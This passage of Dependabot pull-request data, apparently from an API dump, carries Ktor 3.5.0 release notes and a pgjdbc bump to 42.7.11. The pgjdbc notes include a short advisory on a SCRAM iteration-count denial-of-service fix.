href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth-jwt` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eK...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/orkivar/pull/87","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Forkivar/issues/87","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/87/packages"}},{"old_version":"42.4.4","new_version":"42.7.11","update_type":"minor","path":"/contrib/storage-jdbc","pr_created_at":"2026-05-15T22:00:00.000Z","version_change":"42.4.4 → 42.7.11","issue":{"uuid":"4457218022","node_id":"PR_kwDOAFa5xc7cFNso","number":3048,"state":"open","title":"Bump org.postgresql:postgresql from 42.4.4 to 42.7.11 in /contrib/storage-jdbc","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-15T22:00:00.000Z","updated_at":"2026-05-17T06:26:18.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"org.postgresql:postgresql","old_version":"42.4.4","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":"/contrib/storage-jdbc","ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.4.4 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca 